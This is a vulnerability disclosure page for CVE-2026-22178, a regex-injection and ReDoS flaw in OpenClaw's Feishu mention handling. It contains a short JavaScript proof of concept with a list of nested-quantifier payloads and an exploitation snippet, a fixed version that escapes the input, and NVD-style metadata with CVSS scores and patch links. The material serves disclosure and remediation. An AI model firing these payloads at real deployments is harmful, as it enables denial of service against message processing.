CVE-2026-22178

// CVE-2026-22178 PoC - Regex Injection via Feishu Mention Metadata // This PoC demonstrates how malicious mention metadata can trigger ReDoS // Vulnerable code pattern (stripBotMention function) function stripBotMention(message) { // Extract mention metadata from Feishu message const mentionData = extractMentionData(message); // Directly construct RegExp from unescaped metadata - VULNERABLE! const pattern = new RegExp(mentionData.userId, 'gi'); return message.replace(pattern, ''); } // Malicious payload examples: const maliciousPayloads = [ '@user**********', // Nested quantifiers causing exponential backtracking '@user(a+)+a', // Nested quantifiers with alternation '@user(a*)*b', // Nested quantifiers pattern '@user.{100,}', // Large repetition causing timeout '@user(a+){10}', // Multiple nested quantifiers ]; // Example exploitation: const payload = '@user(a+)+a'; const startTime = Date.now(); try { const result = stripBotMention({ text: 'Hello ' + payload + ' how are you?', mentionData: { userId: payload } }); console.log('Result:', result); } catch (e) { console.log('ReDoS triggered - processing time:', Date.now() - startTime, 'ms'); } // Fixed code pattern: function stripBotMentionFixed(message) { const mentionData = extractMentionData(message); // Escape special regex characters before constructing RegExp const escapedUserId = mentionData.userId.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); const pattern = new RegExp(escapedUserId, 'gi'); return message.replace(pattern, ''); }

{"cve": {"id": "CVE-2026-22178", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:22.160", "lastModified": "2026-03-19T16:07:51.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.19 construct RegExp objects directly from unescaped Feishu mention metadata in the stripBotMention function, allowing regex injection and denial of service. Attackers can craft nested-quantifier patterns or metacharacters in mention metadata to trigger catastrophic backtracking, block message processing, or remove unintended content before model processing."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a la 2026.2.19 construyen objetos RegExp directamente a partir de metadatos de menciones de Feishu sin escapar en la función stripBotMention, lo que permite la inyección de expresiones regulares y la denegación de servicio. Los atacantes pueden crear patrones de cuantificadores anidados o metacaracteres en los metadatos de las menciones para desencadenar un retroceso catastrófico, bloquear el procesamiento de mensajes o eliminar contenido no deseado antes del procesamiento del modelo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.19", "matchCriteriaId": "539A1AE2-E6EC-4FC0-A794-28AA37D76D8E"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/74268489137510b6f6349919d1e197b17290d92c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/7e67ab75cc2f0e93569d12fecd1411c2961fcc8c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-c6hr-w26q-c636", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-redos-and-regex-injection-via-unescaped-feishu-mention-metadata", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}